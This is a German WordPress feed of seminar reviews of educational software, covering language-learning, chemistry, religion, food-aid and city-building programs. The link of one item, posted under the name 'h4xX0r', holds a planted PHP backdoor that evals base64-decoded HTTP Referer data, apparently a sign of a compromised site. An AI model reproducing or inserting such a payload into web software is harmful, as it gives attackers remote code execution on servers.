<p>Es findet eine Diagnostik der Lernvoraussetzungen statt. Es ist ein Einstufungstest m&#246;glich, aufgrund dessen die Lernsoftware einen individuellen Lernplan mit ausgew&#228;hlten &#220;bungen bzw. Schwerpunkten zusammenstellt.</p>
<p>Das Programm bietet dem Lerner die M&#246;glichkeit, &#220;bungen zu bestimmten grammatischen Themen frei auszuw&#228;hlen. Dieser Aspekt ist positiv zu werten, da der Lerner so an keine lineare Progression gebunden ist, sondern seine Schwerpunkte selbst legen kann. </p>
<p>Alle &#220;bungen lassen sich wieder zur&#252;cksetzen, dadurch kann man die Aufgaben so oft wiederholen, wie man will.</p>
<p> </p>
<p><strong>P&#228;dagogische Eignung</strong></p>
<p><strong></strong>Die Lernsoftware l&#228;sst sich immer nur von einem Lerner nutzen, dessen Lernst&#228;nde automatisch vom Programm festgehalten werden. Man kann die &#220;bungen aber auch mit einem Partner durchf&#252;hren, sich gegenseitig beraten und bei Spracheingaben abwechseln.</p>
<p>Die Software kann man sowohl zu Hause als auch in der Schule einsetzen, um Unterrichtsinhalte vor allem im Bereich der Grammatik zu wiederholen und zu vertiefen.</p>
<p>Die Lehrkraft sollte sich unserer Meinung nach vorab intensiv mit dem Programm auseinandersetzen, um dem Lerner gezielt sagen zu k&#246;nnen, in welcher „Stadt“ der Sprachreise er &#220;bungen erh&#228;lt, die ihm dabei helfen, z.B. Schw&#228;chen im Bereich der Grammatik zu minimieren und die sprachlichen Kompetenzen zu erweitern. </p>
<p>Der Videotutor des Programms erkl&#228;rt dem Anwender bei jeder &#220;bung, was er zu tun hat. Gleichzeitig ist der Arbeitsauftrag als Text sichtbar und kann auch durch das Dr&#252;cken der „Alt-Taste“ in die Muttersprache &#252;bersetzt werden.</p>
<p>Da es sich um ein umfangreiches Programm mit vielen kurzen &#220;bungen (&#252;ber 20.000) handelt, die sie sich auf den Wortschatz, die Aussprache und das Lese- und H&#246;rverstehen beziehen, ist es schwer, die Lernzeit mit dem Programm in einen zeitlichen Rahmen zu fassen. Unserer Meinung nach w&#252;rde eine Viertelstunde t&#228;glich bereits zu einer Verbesserung der Sprachkompetenz f&#252;hren.</p>
<p>Ein L&#246;sungsheft ist nicht vorhanden, da man sich die L&#246;sung der Aufgabe direkt im Programm anzeigen lassen kann.</p>
<p> </p>
<p><strong>Didaktik</strong></p>
<p><strong></strong>Da vom Hersteller keine Altersempfehlung f&#252;r die Nutzung der Lernsoftware gegeben ist, sondern eher von den Lernvoraussetzungen ausgegangen wird, ist es schwer, die Altersangemessenheit zu bewerten. Aufgrund der Aufmachung und der Themeninhalte w&#252;rden wir dahin tendieren, das Programm eher zum Ende der Sekundarstufe I einzusetzen. </p>
<p>Mit der Lernsoftware werden alle Teilkompetenzen angesprochen, die f&#252;r das Sprachlernen wichtig sind. </p>
<p>Beim Lernen handelt es sich hier eher um ein wiederholendes, reproduktives Lernen als um ein konstruierendes Lernen. Ein konstruierendes Lernen ist in geringem Ma&#223;e vorzufinden, wenn der Lerner beispielsweise aus Textbausteinen mit Hilfe seiner erworbenen Kenntnisse eigenst&#228;ndig Texte herstellt.</p>
<p> </p>
<p><strong>Lernerfolge r&#252;ckmelden</strong></p>
<p><strong></strong>Nach jeder Lektion (Stadt) ist es m&#246;glich, einen Kurztest zu absolvieren, um zu &#252;berpr&#252;fen, ob die vermittelten Inhalte dieses Themenbereichs verstanden wurden.</p>
<p>W&#228;hrend der &#220;bungen kann der Lerner auf ein Hilfesymbol klicken und erh&#228;lt dann nochmals Informationen vom Programm, z. B. Grammatikerkl&#228;rungen</p>
<p>&#220;ber die Korrekturfunktion kann der Lerner erfahren, in welchen &#220;bungsteilen sich noch Fehler befinden. Dadurch kann der Lerner jede Aufgabe so lange bearbeiten, bis er selbst alles richtig macht. Dauert ihm dieses zu lange, kann er sich mit der L&#246;sungstaste die korrekte Bearbeitung der Aufgabe ansehen. </p>
<p>Des Weiteren erh&#228;lt der Lerner R&#252;ckmeldungen vom Videotutor, die den Lerner motivieren sollen. Dazu z&#228;hlen Aussagen, wie zum Beispiel „Du bist ein Genie!“, „Phantastisch, kein einziger Fehler! Gro&#223;artig!“ oder „Gewonnen!“. Der Tutor gibt aber auch andere Kommentare ab, die weniger motivierend sind, z.B. „Von dir h&#228;tte ich mehr erwartet!“</p>
<p>Der Lerner kann sich &#252;ber den Intelli Plan anzeigen lassen, an welchem Punkt er sich im Programm befindet, welche &#220;bungsarten er schon absolviert hat, wie viel Zeit jede &#220;bung in Anspruch genommen hat und mit wie viel Erfolg (in%) sie bestanden wurde. Die Lernentwicklung l&#228;sst sich so nachvollziehen und wird zudem graphisch dargestellt.</p>
<p> </p>
<p><strong>Spa&#223; und Gestaltung</strong></p>
<p><strong></strong>Zur Gestaltung der Lernsoftware l&#228;sst sich sagen, dass der Intelli Plan, der auf der linken Seite des Bildschirms auftaucht, zuerst recht verwirrend und un&#252;bersichtlich wirkt.</p>
<p>Durch die Vielzahl der &#220;bungen und die verschiedenen Dialoge ist das Programm zum Sprachenlernen relativ abwechslungsreich.</p>
<p>Zu bem&#228;ngeln ist, dass die Dialoge nur in Form von hintereinander geschnittenen Bildfolgen erscheinen und nicht als Filmsequenzen, die man bei Bedarf anhalten kann.  </p>
<p>Es ist zu bem&#228;ngeln, dass das Programm die &#252;ber das Head-Set gesprochenen W&#246;rter und S&#228;tze teilweise gar nicht erkennt und man daher nur eingeschr&#228;nkt per Spracheingabe arbeiten kann. Dieses ist ein gro&#223;er Nachteil, weil der Gro&#223;teil der &#220;bungen gesprochen realisiert werden kann. Gerade Aussprache&#252;bungen mit dem Head-Set sind f&#252;r den Lerner reizvoll und wichtig. Wenn dieses Extra nicht funktioniert, werden Lernfortschritte und der Spa&#223;faktor stark eingeschr&#228;nkt. </p>
<p> </p>
<p><strong> </strong></p>
<p><strong>Bewertung</strong></p>
<p><strong></strong>Insgesamt geben wir der Lernsoftware vier von f&#252;nf m&#246;glichen Sternen, da sie sehr umfangreich und abwechslungsreich ist. Wichtige Kompetenzen, die f&#252;r das Erlernen einer Sprache wichtig sind, k&#246;nnen trainiert und ausgeweitet werden. F&#252;nf Sterne h&#228;tten wir vergeben, wenn die Aufmachung noch etwas ansprechender w&#228;re, der Videotutor nicht so anstrengend w&#228;re und die Spracheingabe uneingeschr&#228;nkt funktionieren w&#252;rde.</p>
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		</item>
		<item>
		<title>Chemicus &#8211; Zusammenfassung und Fazit</title>
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		<pubDate>Wed, 20 Jun 2007 09:58:33 +0000</pubDate>
		<dc:creator>kathrin</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Zusammenfassung: Als positive Aspekte sind die aufwendige und Jugendliche durchaus ansprechende Graphik zu erw&#228;hnen. Sie steht der Gestaltung von aktuellen Computerspielen in Nichts nach. Auf didaktischer Ebene l&#228;sst sich festhalten, dass die Simulation von Experimenten gut gelungen ist. Der Spieler / die Spielerin muss verschiedene Stoffe in richtiger Reihenfolge ausw&#228;hlen und dann das virtuelle Experiment [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.amazon.de/gp/product/images/3121350609/ref=dp_image_0/302-5769291-5492803?ie=UTF8&amp;n=301928&amp;s=software" align="top" /></p>
<p><strong>Zusammenfassung</strong>:<br />
Als <strong>positive</strong> Aspekte sind die aufwendige und Jugendliche durchaus ansprechende <strong>Graphik</strong> zu erw&#228;hnen. Sie steht der Gestaltung von aktuellen Computerspielen in Nichts nach. Auf didaktischer Ebene l&#228;sst sich festhalten, dass die <strong>Simulation von Experimenten</strong> gut gelungen ist. Der Spieler / die Spielerin muss verschiedene Stoffe in richtiger Reihenfolge ausw&#228;hlen und dann das virtuelle Experiment selbst starten. Diese Aufgabe erfordert eine <strong>handlungsorientiert</strong>e Herangehensweise, die nur durch <strong>vernetztes Denken</strong> bew&#228;ltigt werden kann. Die Software stellt also ein Problem dar, das eigenst&#228;ndig gel&#246;st werden muss. Der Spieler muss sich demnach im <strong>konstruktivistisch</strong>en Sinne seine L&#246;sungsstrategien selbst aufbauen und problemspezifisch handeln.</p>
<p>Die <strong>Bedienung</strong> l&#228;sst an vielen Stellen leider zu w&#252;nschen &#252;brig. <strong>Negativ</strong> treten die schlechte und verwirrende <strong>Men&#252;f&#252;hrung</strong> hervor. Die Software bietet sowohl innerhalb des Men&#252;s als auch auch auf der Homepage des Herstellers Klett kaum Hilfestellungen an. Auch sind die <strong>aktiven Felder</strong> viel zu klein, was zu einem unn&#246;tig verlangsamten Vorankommen f&#252;hrt. Der <strong>Lernteil</strong> bietet kaum n&#252;tzliche Zusatzinformationen, da vieles &#252;berhaupt nicht in Verbindung mit der Software steht. Auf dringende Fragen, die w&#228;hrend des Spielens enstehen, wird kaum eingegangen. Eine Erkl&#228;rung der Experimente auf <strong>Teilchenebene</strong> ist fast nie erforderlich, so dass der Sch&#252;ler streng genommen die eigentliche Reaktion auf der demonstrierten Ebene gar nicht nachvollziehen und sich selbst erkl&#228;ren kann. Die <strong>konstruktivistische Perspektive</strong> muss deshalb relativiert werden, da oberfl&#228;chige Veranschaulichungen noch lange nicht zu einer selbst aufgebauten Erkenntnis f&#252;hren k&#246;nnen.</p>
<p><strong>Fazit</strong>:<br />
Die Software Chemicus ist <strong>nicht f&#252;r den Schulgebrauch geeignet</strong>, da sie weder lehrplankonform noch themenspezifisch aufgebaut ist. Auch f&#252;r die Vertiefung des Unterrichtsstoffs zu Hause ist sie deswegen unbrauchbar. Die Lernzeit sprengt den Rahmen des Unterrichts ungemein. Au&#223;erdem ist sie nur von CD zu spielen, was selbst bei zwei Sch&#252;lern pro Computer aus finanziellen Gr&#252;nden nicht m&#246;glich ist.</p>
<p>Die Software eignet sich also &#8216;nur&#8217; f&#252;r <strong>Chemie-interessierte Jugendliche in der Oberstufe</strong>. Die Zielgruppe ist demnach sehr beschr&#228;nkt und das <strong>Konzept</strong> der Software auch deshalb sehr fragw&#252;rdig.</p>
<p>Insgesamt haben wir dem Chemicus <strong>2 von 5 </strong>erreichbaren <strong>Sternen</strong> verliehen.</p>
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		</item>
		<item>
		<title>Lernsoftware Chemikus</title>
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		<pubDate>Wed, 20 Jun 2007 06:43:46 +0000</pubDate>
		<dc:creator>Yasmin Khan</dc:creator>
				<category><![CDATA[Aufgaben]]></category>

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		<description><![CDATA[Die Software &#8220;Chemikus&#8221; ist ein Lernprogramm f&#252;r das Fach Chemie, und wurde vom Klett-Verlag herausgebracht. Zum Inhalt: Auf der Suche nach einem verschwundenen Freund muss der Spieler bzw. die Spieler verschiedene Aufgaben und R&#228;tsel l&#246;sen. Dazu wird chemisches Wissen aus den Bereichen: Stoffe und ihre Eigenschaften, Stoffe und Stoffver&#228;nderungen, Atombau und die chemischen Bindungen, organische [...]]]></description>
			<content:encoded><![CDATA[<p>Die Software &#8220;Chemikus&#8221; ist ein Lernprogramm f&#252;r das Fach Chemie, und wurde vom Klett-Verlag herausgebracht.</p>
<p>Zum Inhalt:</p>
<p>Auf der Suche nach einem verschwundenen Freund muss der Spieler bzw. die Spieler verschiedene Aufgaben und R&#228;tsel l&#246;sen. Dazu wird chemisches Wissen aus den Bereichen: Stoffe und ihre Eigenschaften, Stoffe und Stoffver&#228;nderungen, Atombau und die chemischen Bindungen, organische Chemie, S&#228;uren, Laugen und Neutralisation sowie Elektrochemie, ben&#246;tigt. Dieses Wissen k&#246;nnen im Spiel erworben werden.</p>
<p>DIDAKTIK:</p>
<p>Diese Lernsoftware hat leider keine Interaktionsm&#246;glichkeiten. Das Programm hat weder eine Internetverbindung, um dar&#252;ber mit anderen zu kommunizieren, noch kommuniziert es mit dem Spieler. Der Lernansatz ist entdeckend-konstruierend und handlungsorientiert. Die sehr anschauliche Darstellungsform ist multimedial, wodurch vorallem der visuelle Lerntyp angesprochen wird, und beinhaltet einen Textteil. Die Aufgaben f&#246;rdern das vernetzte Denkverm&#246;gen und die Probleml&#246;sef&#228;higkeit.</p>
<p>Insgesamt: 3 von 5 Sternen</p>
<p>LERNERFOLG R&#220;CKMELDEN:</p>
<p>Eine R&#252;ckmeldung erfolgt nur durch den Aufstieg in ein h&#246;heres Level.</p>
<p>Hierbei ist zu kritisieren, dass keine Zwischenst&#228;nde angezeigt werden, wodurch der Spieler keine Ahnung hat in welchem Bereich des Spiels er sich gerade befindet. Das Programm beinhaltet nur einen L&#246;sungsweg. Fehler, die der Spieler macht, sowie der Lernerfolg, werden nicht visualisiert.</p>
<p>Insgesamt: 1 von 5 Sternen</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Religiopolis &#8211; Lernsoftware f&#252;r den Religionsunterricht</title>
		<link>http://www.didactalab.de/teachlab/2007/06/15/religiopolis-lernsoftware-fuer-den-religionsunterricht/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
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		<pubDate>Fri, 15 Jun 2007 16:10:26 +0000</pubDate>
		<dc:creator>h4xX0r</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=278</guid>
		<description><![CDATA[Die Software „Religiopolis“, herausgegeben von Klett, ist eine f&#252;r das Fach Religion hergestellte Lernsoftware, die sachliche Einblicke in f&#252;nf gro&#223;e Religionen bietet: Christentum, Judentum, Islam, Hinduismus und Buddhismus. Funktion und Inhalt Der Anwender hat die M&#246;glichkeit, sich mittels einer Stadt&#252;bersicht der virtuellen Stadt Religiopolis mit den Weltreligionen auseinanderzusetzen. Man hat jeweils die M&#246;glichkeit, Wohnh&#228;user einiger [...]]]></description>
			<content:encoded><![CDATA[<p align="justify">
Die Software „Religiopolis“, herausgegeben von Klett, ist eine f&#252;r das Fach Religion hergestellte Lernsoftware, die sachliche Einblicke in f&#252;nf gro&#223;e Religionen bietet: Christentum, Judentum, Islam, Hinduismus und Buddhismus. </p>
<h3><font color="red">Funktion und Inhalt</h3>
<p><font color="black"></p>
<p align="justify">
Der Anwender hat die M&#246;glichkeit, sich mittels einer Stadt&#252;bersicht der virtuellen Stadt Religiopolis mit den Weltreligionen auseinanderzusetzen. Man hat jeweils die M&#246;glichkeit, Wohnh&#228;user einiger Familien und Orte der Religionsaus&#252;bung, wie Kirche, Tempel oder Moschee, anzusehen. Dabei gew&#228;hrleistet eine stets gleich bleibende Oberfl&#228;che einfache Bedienung, sodass man beispielsweise mit einem Klick wieder auf der &#220;bersichtskarte landet. Bei Betreten eines neuen Ortes erh&#228;lt man grundlegende Informationen zu Besonderheiten einer Religion bez&#252;glich der Bereiche gesellschaftliches, privates sowie kulturelles Leben. Eine Bibliothek, auch jederzeit aufrufbar, erm&#246;glicht den Zugriff auf weiterf&#252;hrende Informationen. Das Programm hat zudem ein Feature, dass man als Anwender jederzeit Notizen innerhalb des Programms anlegen kann, die sich dann anschlie&#223;end leicht ausdrucken lassen.<br />
Zahleiche textliche Informationen werden erg&#228;nzt durch Video- und Audioelemente, die sporadisch verteilt sind. Zudem gibt es einige Aufgaben, Mini-R&#228;tsel, die einen bestimmten Wissensstand erfordern  (z.B. Erg&#228;nzen des Vaterunser, Vorbereiten eines Gebets o.&#228;.). Gimmicks wie ein Kochrezept sind ebenfalls enthalten.</p>
<h3><font color="red">Audio-visuelle Aufbereitung</h3>
<p><font color="black"></p>
<p align="justify">
Grafisch gleicht das Programm eher einer Abfolge von statischen Bildern, da keine Bewegungsfreiheit in Echtzeit m&#246;glich ist. Die Grafik ist comicartig was Farbe und real was Art der Zeichnung angeht, aber dennoch ansprechend. Das Spiel hat in gewissen Szenen dezenten Hintergrundsound wie Vogelgezwitscher, einige spezielle Sounds wie ein Kirchenchoral oder ein indisches Poplied sind an verschiedenen Stellen integriert – die Qualit&#228;t der Musikst&#252;cke ist dabei eher schlecht.</p>
<h3><font color="red">Didaktische Aufbereitung</h3>
<p><font color="black"></p>
<p align="justify">
Unserer Ansicht nach ist die Software eher nachvollziehend-vertiefend anwendbar. Interaktion ist nur minimal gegeben (so z.B. bei bereits erw&#228;hnten R&#228;tseln). Der hohe Informationsgehalt und die vielen M&#246;glichkeiten der Vertiefung geben der Software eine Art Lexikoncharakter. Im Unterricht ist die Software h&#246;chstens als Plattform f&#252;r eine Recherche sinnvoll.<br />
Lernerfolge sind schwer nachvollziehbar, die wenigen R&#228;tsel sind durch den Zugriff auf die Bibliothek kein Garant f&#252;r einen Lernerfolg. </p>
<h3><font color="red">Fazit</h3>
<p><font color="black"></p>
<p align="justify">
Die solide Lexikonanwendung Religiopolis eignet sich f&#252;r Anwender, die gerne lesen, sich f&#252;r Religionen interessieren und als Quelle f&#252;r Eigenarbeit oder Vorbereitung f&#252;r Exkursionen und neue Unterrichtsthemen. Dabei ist das Programm in der Darstellung der Religionen beizeiten klischeehaft, was problematisch sein kann, wohl aber der Umsetzung geschuldet zu sein scheint, denn die Entwickler haben offensichtlich versucht, sehr detailreich zu arbeiten. Auf dem kleinem Pr&#228;sentationsraum – z.B. die Wohnung einer buddhistischen Familie – schl&#228;gt sich dieser Umstand leider stigmatisierend nieder.<br />
Das Programm wird direkt von CD gestartet, das spart zwar Platz auf dem HDD, macht Anwendung auf mehreren Rechnern in der Schule aber schwierig, da die CD oft vorhanden sein muss. Weiterer Vorteil sind die sehr niedrigen Systemanforderungen, ab P4 und 16fach CD-Rom gibt es keine Probleme.<br />
Da wir das Programm inhaltlich sehr reichhaltig finden (eine Encarta f&#252;r die Weltreligionen), es aber als Lernsoftware eher ungeeignet scheint, geben wir<br />
<b>drei von f&#252;nf Sternen.</b></p>
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		<title>Bewertung der Lernsoftware Food Force</title>
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		<pubDate>Fri, 15 Jun 2007 11:16:14 +0000</pubDate>
		<dc:creator>FNoltenius</dc:creator>
				<category><![CDATA[Allgemein]]></category>

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		<description><![CDATA[Hier nocheinmal die wichtigsten Punkte der im Seminar vorgestellten Lernsoftware Food Force und deren Bewertung: &#220;ber die Internetseite http://www.food-force.com/de/ kann man das Spiel sowohl f&#252;r den PC als auch f&#252;r den Mac herunterladen. Um das Spiel dann zu installieren ben&#246;tigt man den aktuellen Quick Time Player. Zudem wird der Download einer CD-H&#252;llengraphik und CD-Graphik angeboten.  [...]]]></description>
			<content:encoded><![CDATA[<p>Hier nocheinmal die wichtigsten Punkte der im Seminar vorgestellten Lernsoftware Food Force und deren Bewertung:</p>
<p>&#220;ber die Internetseite <a href="http://www.food-force.com/de/">http://www.food-force.com/de/</a> kann man das Spiel sowohl f&#252;r den PC als auch f&#252;r den Mac herunterladen. Um das Spiel dann zu installieren ben&#246;tigt man den aktuellen Quick Time Player. Zudem wird der Download einer CD-H&#252;llengraphik und CD-Graphik angeboten.  Auch Unterrichtsentw&#252;rfe sind unter der Homepage abrufbar.</p>
<p>Das Spiel beschreibt die einzelnen Arbeitschritte des WFP (World Food Programme &#8211; also das Weltern&#228;hrungsprogramm der Vereinten Nationen). Neben den einzelnen Spiel-Missionen (insgesamt 6 Level) werden ausf&#252;hrliche Informationen &#252;ber die Arbeit des WFP gegeben. An dieser Stelle ist auf die Propaganda der Organisation hinzuweisen &#8211; die gesamte Arbeit des WFP wird vollkommen ohne Kritik dargestellt. Zudem werden Schwierigkeiten (z.B. beim Zusammentreffen in Krisengebieten mit Rebellen) verharmlost, was nicht der Realit&#228;t entspricht.</p>
<p>Bildet euch einfach eure eigene Meinung &#252;ber das Spiel und schaut`s euch an <img src='http://www.didactalab.de/teachlab/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
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		<title>Food Force</title>
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		<pubDate>Thu, 14 Jun 2007 09:48:46 +0000</pubDate>
		<dc:creator>jawol</dc:creator>
				<category><![CDATA[Kritik]]></category>

		<guid isPermaLink="false">http://www.didactalab.de/teachlab/?p=274</guid>
		<description><![CDATA[Food Force Kurzfassung Und hier nocheinmal die wichtigsten Punkte der im Seminar vorgestellten Lernsoftware Food Force und deren Bewertung: &#220;ber die Internetseite http://www.food-force.com/de/ kann man das Spiel sowohl f&#252;r den PC als auch f&#252;r den Mac herunterladen. Um das Spiel dann zu installieren ben&#246;tigt man den aktuellen Quick Time Player. Zudem wird der Download einer [...]]]></description>
			<content:encoded><![CDATA[<p align="left"><strong>Food Force</strong></p>
<p><strong>Kurzfassung</strong></p>
<p>Und hier nocheinmal die wichtigsten Punkte der im Seminar vorgestellten Lernsoftware Food Force und deren Bewertung:</p>
<p>&#220;ber die Internetseite <a href="http://www.food-force.com/de/">http://www.food-force.com/de/</a> kann man das Spiel sowohl f&#252;r den PC als auch f&#252;r den Mac herunterladen. Um das Spiel dann zu installieren ben&#246;tigt man den aktuellen Quick Time Player. Zudem wird der Download einer CD-H&#252;llengraphik und CD-Graphik angeboten. Auch Unterrichtsentw&#252;rfe sind unter der Homepage abrufbar.</p>
<p>Das Spiel beschreibt die einzelnen Arbeitschritte des WFP (World Food Programme &#8211; also das Weltern&#228;hrungsprogramm der Vereinten Nationen). Neben den einzelnen Spiel-Missionen (insgesamt 6 Level) werden ausf&#252;hrliche Informationen &#252;ber die Arbeit des WFP gegeben. An dieser Stelle ist auf die Propaganda der Organisation hinzuweisen &#8211; die gesamte Arbeit des WFP wird vollkommen ohne Kritik dargestellt. Zudem werden Schwierigkeiten (z.B. beim Zusammentreffen in Krisengebieten mit Rebellen) verharmlost, was nicht der Realit&#228;t entspricht.</p>
<p><strong>Langfassung</strong></p>
<p>Das Spiel Food Force wurde durch das World Food Program der UNO und die EU herausgegeben. Es ist neben Deutsch in verschiedenen Sprachen erh&#228;ltlich &#8211; z.B Englisch, Franz&#246;sisch, Chinesisch, Polnisch. Food Force stellt ein Bespiel der sogenannten &#8220;serious games&#8221; dar, wie es z.B. <a href="http://www.darfurisdying.com">darfurisdying</a> oder <a href="http://www.peacemakergame.com">peacemakergame</a> ebenfalls tut.</p>
<p>Man kann das Spiel von der <a href="http://www.food-force.com/de/">Seite</a> zum Spiel herunter laden (<a href="http://%3Cb%3Ewww.food-force.com/">food-force.com</a>). Die Installationsdatei ist 198 MB, das Installationsverzeichnis 298 MB gro&#223;. Dort finden sich auch unterschiedliche <a href="http://www.food-force.com/de/">Materialien</a> und Anregungen f&#252;r Lehrer.</p>
<p><strong>Spiel</strong></p>
<p>In sechs Missionen muss der/die SpielerIn die Bewohner der fiktiven Insel Sheylan vor dem Hungertod und B&#252;rgerkrieg bewahren und ihnen beibringen, wie man nachhaltig wirtschaftet, um Missernten zu vermeiden. Der Schwierigkeitsgrad ist nicht einstellbar, aber dies ist auch nicht notwendig, da alle Mission einfach sind. Man hat au&#223;erdem die M&#246;glichkeit alle Missionen noch einmal zu spielen.</p>
<p>Die Missionen bestehen  aus einfachen Aufgaben. Insgesamt ist das Spiel aufgebaut wie g&#228;ngige Action-Spiele. Vor jeder Mission gibt es ein kurzes Briefing &#252;ber das Problem und wie es gel&#246;st werden soll.</p>
<p>Zwischendurch werden die SpielerInnen &#252;ber die Arbeit des WFPs aufgek&#228;rt und erhalten  Faktenwissen zu den jeweiligen Missionen. So erf&#228;hrt die /der SpielerIn welche Mischung eine gute und billige Nahrung ausmachen &#8211; Mission 2 &#8211; oder wie richtig Verhandlungen mit Terroristen gef&#252;hrt werden &#8211; Mission 5 (Die Antworten sind vorgegeben und es ist immer nur eine Antwort m&#246;glich).</p>
<p>Es besteht die Gefahr, das die gegebenen Informationen &#252;ber die Arbeit der WFP zwischen den Missionen von den SpielerInnen nicht wahrgenommen werden. Einerseits, weil sie &#252;bersprungen werden k&#246;nnen, anderseits durch die Konzentration auf die zu spielenden Missionen.</p>
<p><strong>Einsatz</strong></p>
<p>Food Force kann man in einer Unterrichtsstunde durchspielen. Es dauert ca. 20 min, wenn schnell gespielt wird. Das Spiel ist &#252;brigens nur im Singleplayer-Modus zu spielen und es macht keinen Sinn, mit mehr als einer Person an einem Rechenr das Spiel zu spielen. Einen Multyplayer gibt es nicht. Man kann aber die erreichten Spielst&#228;nde im Internet vergleichen und ver&#246;ffentlichen. Von den Machern ist das Spiel fr Kinder ab 8 Jahre gedacht. Spielen k&#246;nnen Kinder das Spiel aufgrund seiner Simplizit&#228;t der Spielsteuerung sicher schon fr&#252;her. Die eingestreuten Informationen werden vielelicjt nicht aufgenommen.</p>
<p><strong>Propaganda</strong></p>
<p>Sp&#228;testens nach dem Spielen von Food Force gewinnt man den Eindruck, dass das Spiel nicht &#8220;nur&#8221; zur Information &#252;ber die Arbeit des WFP dient. Das Spiel scheint eine affrimative Wirkung im Bezug auf die WFP beiM SpielerIn zu erzeugen. Dies l&#228;sst das Spiel nicht nur f&#252;r den Politik oder Unterricht nutzen, der sich mit internationalen Organisationen und ihre Arbeit auseinandersetzt. Ein Einsatz des Spiels kann z.B. bei der Thematik <em>Propaganda heute</em> m&#246;glich sein.</p>
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		<title>Sim City 3000 &#8211; Spa&#223; und Gestaltung</title>
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		<pubDate>Thu, 14 Jun 2007 09:15:26 +0000</pubDate>
		<dc:creator>timkan</dc:creator>
				<category><![CDATA[Kritik]]></category>

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		<description><![CDATA[Sim City 3000 bietet drei Schwierigkeitsgrade: einfach, mittel, schwer. Je nach Schwierigkeit startet der Spieler mit 50000 Sim-Dollar (W&#228;hrung im Spiel) oder weniger. Zus&#228;tzlich zu dieser Einstellung ist es m&#246;glich, sich eigene Karten vom Computer erstellen zu lassen, so dass es immer eine neue Herausforderung gibt. Damit haben die Hersteller auch versucht, dass Spiel abwechslungsreich [...]]]></description>
			<content:encoded><![CDATA[<p><font face="Calibri">Sim City 3000 bietet drei Schwierigkeitsgrade: einfach, mittel, schwer. Je nach Schwierigkeit startet der Spieler mit 50000 Sim-Dollar (W&#228;hrung im Spiel) oder weniger. Zus&#228;tzlich zu dieser Einstellung ist es m&#246;glich, sich eigene Karten vom Computer erstellen zu lassen, so dass es immer eine neue Herausforderung gibt. Damit haben die Hersteller auch versucht, dass Spiel abwechslungsreich zu gestalten. Das Spielprinzip bleibt nat&#252;rlich immer das Selbe: Der Spieler errichtet eine eigene Stadt. Die Geb&#228;ude sind zahlreich und es gibt die M&#246;glichkeit auch bekannte Geb&#228;ude, wie das Brandenburger Tor oder die Freiheitsstatue zu errichten. Neue Geb&#228;ude kann man mit Hilfe eines Editors &#8211; der allerdings heruntergeladen werden muss – erstellen und seiner Stadt hinzuf&#252;gen. Wer nicht &#252;ber kreatives Potenzial verf&#252;gt oder wem es schlicht zu lange dauert, der kann sich neue Geb&#228;ude auch von Fan-Homepages herunterladen. Es ist ebenfalls M&#246;glich, komplette St&#228;dte nach dem weltlichen Vorbild nachzubauen. Auch nachgebaute St&#228;dte, wie z.B. New York, lassen sich herunterladen.   </font></p>
<p><font face="Calibri">Mit allen diesen M&#246;glichkeiten, bietet das Spiel zun&#228;chst eine Langzeitmotivation. Es ist flow-f&#246;rdernd, da in der Stadt immer etwas passiert. Es gibt keine Zeit in der nichts passiert. So wollen die Bewohner der Stadt ihre Interessen durchsetzen oder sie protestieren, gegen den Bau der Giftm&#252;llentsorgungsanlage. Durch einen Newsticker wird man als B&#252;rgermeister immer &#252;ber die aktuelle Situation in der Stadt informiert. </font></p>
<p><font face="Calibri">Die Grafik ist schon veraltet und bietet kaum etwas f&#252;r das in heutigen Zeiten 3D-verw&#246;hnte Auge. Die Grafik ist in 2D gehalten. Dreidimensionalit&#228;t wird nur optisch erzeugt. Die Karte ist nicht frei dreh und zoombar, wie es bei heutigen Spielen schon Standart ist. Ebenfalls weit hinter der heutigen Zeit ist der Sound. Die Musik leiert vor sich her und nervt nach langem H&#246;ren. Sie l&#228;sst sich aber leiser stellen oder ganz abschalten. Ansonsten gibt es kleine Soundeffekte, wie das heulen von Polizeisirenen oder auch die Warnsirene f&#252;r Katastrophen. Katastrophen, wie Tornados oder Gro&#223;br&#228;nde, erzeugen ebenfalls Soundeffekte. Das Spiel l&#228;sst sich im Unterricht daher problemlos lautlos abspielen. </font></p>
<p><font face="Calibri">Das Spiel ist f&#252;r einen Spieler konzipiert. Es gibt keine M&#246;glichkeit, dass Spiel im Internet oder lokalen Netzwerk zu spielen. Im Unterricht w&#228;re es dennoch m&#246;glich bis zu drei Sch&#252;ler an einen Computer zu setzen, da sie so Gelegenheit h&#228;tten, sich gemeinsam abzusprechen und zu &#252;berlegen, was sie wann und wohin bauen. In allen vier Himmelsrichtungen gibt es Nachbarst&#228;dte, die allerdings vom Computer gesteuert werden. Es ist jedoch m&#246;glich, Vertr&#228;ge mit diesen abzuschlie&#223;en.</font></p>
<p><font face="Calibri">Sim City 3000 l&#228;sst sich zu beliebiger Zeit abspeichern und bietet damit auch Gelegenheitsspielern die M&#246;glichkeit, das Spiel zu spielen. Auch f&#252;r den Unterricht ist das Spiel damit geeignet, da man sich nicht erst zu einem Speicherpunkt spielen muss, sondern am Ende des Stunde bequem Speichern und in der darauffolgenden Stunde, das Spiel neuaufnehmen kann.</font></p>
<p><font face="Calibri"><strong>Bewertung:</strong> nur 3 Sterne, aufgrund des mangelhaften Sounds und der veralteten Grafik</font></p>
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		<title>Pers&#246;nliche Bewertung der Lernsoftware &#8220;Die Stadt im Mittelalter&#8221;</title>
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		<pubDate>Thu, 14 Jun 2007 05:09:17 +0000</pubDate>
		<dc:creator>WiebkeG</dc:creator>
				<category><![CDATA[Meinungen]]></category>

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		<description><![CDATA[Ich m&#246;chte mich hiermit Yvonne anschlie&#223;en und ebenfalls eine pers&#246;nliche Bewertung f&#252;r die von uns vorgestellte Lernsoftware abgeben: Ebenso wie Yvonne hat mir die Bibliothek sehr gut gefallen, da sie den Sch&#252;lern einen guten &#220;berblick &#252;ber die wichtigen Bereiche in der mittelalterlichen Stadt geben kann und so ein gezieltes Nachschlagen eines bestimmten Begriffes erm&#246;glicht wird. [...]]]></description>
